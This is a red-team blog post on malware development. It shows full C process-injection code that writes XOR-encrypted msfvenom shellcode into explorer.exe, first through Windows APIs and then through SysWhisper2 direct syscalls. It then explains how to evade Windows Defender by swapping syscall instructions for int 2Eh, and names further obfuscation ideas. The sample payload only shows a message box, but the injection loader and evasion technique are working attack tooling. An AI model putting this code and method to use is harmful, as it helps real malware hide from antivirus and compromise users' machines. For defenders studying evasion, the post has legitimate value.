Capt. Meelo

An infosec guy who's constantly seeking for knowledge.

When You sysWhisper Loud Enough for AV to Hear You

18 Nov 2021 » redteam, maldev

When I started my journey in Malware Development and AV/EDR Evasion, most of the articles and blog posts I have read recommended the use of syscalls. By using syscalls, an adversary can bypass detection controls (such as user-land Hooking) by jumping into the kernel-mode. Evasion is possible in this case since AV/EDR systems can only monitor an application’s behaviour in user-mode. Another advantage is the fact that any Windows API functions used will not be referenced in the import table.

Implementing syscalls manually is challenging since the syscall numbers differ between OS versions, service packs and/or build numbers. Thankfully, SysWhisper2 exists and did the tedious work for us by maintaining a lookup table of known syscall numbers for different Windows versions, service packs and/or build numbers.

Since the use of syscalls is recommended, I implemented it right away in the malware I’m building! However, the result I got was different from what I expected. The worse thing is Windows Defender caught my malware. I never thought Defender would flag it since the use of syscalls is an “advanced” evasion technique and Defender can be “easily” bypassed, right?

Well, it turned out I was wrong!

The Baseline

The following code was used as the baseline in the malware I’m building. This code is an implementation of one of the most common process injection techniques.

#include <Windows.h>

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 23452;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE processHandle;
	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = VirtualAllocEx(processHandle, NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(processHandle, baseAddress, shellcode, shellcodeSize, NULL);

	HANDLE threadHandle;
	threadHandle = CreateRemoteThread(processHandle, NULL, 0, (LPTHREAD_START_ROUTINE)baseAddress, NULL, 0, NULL);

	CloseHandle(processHandle);

	return 0;
}

The shellcode was XOR-encrypted since shellcodes generated by msfvenom are heavily signatured and easily detected.

The baseline code didn’t use any syscalls and as soon as it touched the disk, Defender caught it immediately.

Windows Defender Flagged the Baseline Code

This is not surprising since almost all AVs look for a combination of Windows APIs such as VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, which are commonly used for malicious purposes.

Implementing SysWhisper

Before implementing the use of syscalls, it is necessary to first identity the native/syscall equivalent of the Windows API used in the baseline code. This is shown in the right column of the table below.

Windows APINative API
OpenProcessNtOpenProcess
VirtualAllocExNtAllocateVirtualMemory
WriteProcessMemoryNtWriteVirtualMemory
CreateRemoteThreadNtCreateThreadEx
CloseHandleNtClose

And here’s the updated code which utilizes the use of syscalls.

#include <Windows.h>
#include "include/syscalls.h"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 23452;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE processHandle;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	NtOpenProcess(&processHandle, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	NtAllocateVirtualMemory(processHandle, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	NtWriteVirtualMemory(processHandle, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE threadHandle;
	NtCreateThreadEx(&threadHandle, GENERIC_EXECUTE, NULL, processHandle, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	NtClose(processHandle);

	return 0;
}

The above code was written with the help of SysWhisper2, which currently only supports x64. If you need x86, SysWhispers2_x86 can be used.

Now this should evade Defender, right? Unfortunately, no! As seen here, Defender caught it again as soon as it touched the disk.

Windows Defender Caught the Use of Syscalls

What’s Offending Defender?

Good thing a tool like ThreatCheck exists to identify the offending bytes in our malware. However, running this tool against our malware didn’t provide any useful information.

PS C:\RedTeam\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release> .\ThreatCheck.exe -f C:\RedTeam\EvadeDefender\x64\Release\EvadeDefender.exe
[+] Target file size: 12800 bytes
[+] Analyzing...
[x] File is malicious, but couldn't identify bad bytes

When I rerun the tool, it provided a different result. But still not useful.

PS C:\RedTeam\ThreatCheck\ThreatCheck\ThreatCheck\bin\Release> .\ThreatCheck.exe -f C:\RedTeam\EvadeDefender\x64\Release\EvadeDefender.exe
[+] Target file size: 12800 bytes
[+] Analyzing...
[!] Identified end of bad bytes at offset 0x3170
00000000   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000010   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000020   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000030   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000040   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000050   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000060   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000070   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000080   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
00000090   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000A0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000B0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000C0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000D0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000E0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················
000000F0   00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ················

Based on my observation, the tool provides different results when you run it several times. I’m not sure who’s to blame, the tool or the AV. Anyway, after running it several times, I still didn’t get anything useful.

After some Googling, I came across this blog post which mentions that the use of syscalls can be easily identified by searching for the syscall instruction. By doing a “Text search” for the string “syscall”, 5 occurrences were identified - which is right since there are 5 Native API functions used; NtOpenProcess, NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, and NtClose.

Using IDA to Search for the String "syscall"

So Windows Defender might be looking for the syscall instructions within the binary and that’s why it’s getting detected.

Now What?

One way to easily solve this issue and bypass Defender is to use the legacy instruction int 2Eh, which is used to make the switch from user-mode to kernel-mode.

This can be done easily by looking for any syscall instructions within the *.asm output file of SysWhisper2 and changing them to int 2Eh.

Changing "syscall" Instructions to "int 2Eh"

And as soon as it touched the disk, Defender failed to detect it. Even when the binary was executed, Defender still failed to detect it.

Windows Defender Bypassed

How about running it against multiple AVs? Turned out we have a good detection rate.

Virustotal Result

Are We Good Then?

It’s true that we have achieved our goal of evading AVs using direct syscalls. However, the method presented can be easily signatured. Instead of looking for syscall instructions within the binary, defenders could also look for the presence of int 2Eh instructions.

Searching for the "int 2Eh" instruction

So what can we do about it as a red teamer? One way is to obfuscate the *.asm file by adding some “junk codes”, or using polymorphic codes.

Another way is to dynamically resolve the syscall stubs during run-time as presented in the following:

Note that while some of the methods mentioned could help in evading AVs/EDRs, especially bypassing the static signatures, I doubt it would work from the eyes of a seasoned incident responder or threat hunter.